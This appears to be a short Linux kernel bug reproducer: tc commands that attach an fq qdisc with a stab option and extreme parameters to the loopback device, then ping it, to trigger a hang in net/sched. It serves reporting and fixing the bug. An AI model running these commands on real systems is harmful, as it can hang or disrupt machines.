Trigger a "hang" in net/sched through fq qdisc with stab option.

```
ip link set dev lo up
tc qdisc add dev lo root handle 8001: stab linklayer atm overhead 77174400 mtu 1 tsize 1 \
fq \
limit 1 \
flow_limit 1 \
buckets 2 \
orphan_mask 1 \
quantum 1 \
maxrate 10bit \
low_rate_threshold 1bit
tc -s -d qdisc show dev lo
ping -I lo -s1000 -c4 127.0.0.1
```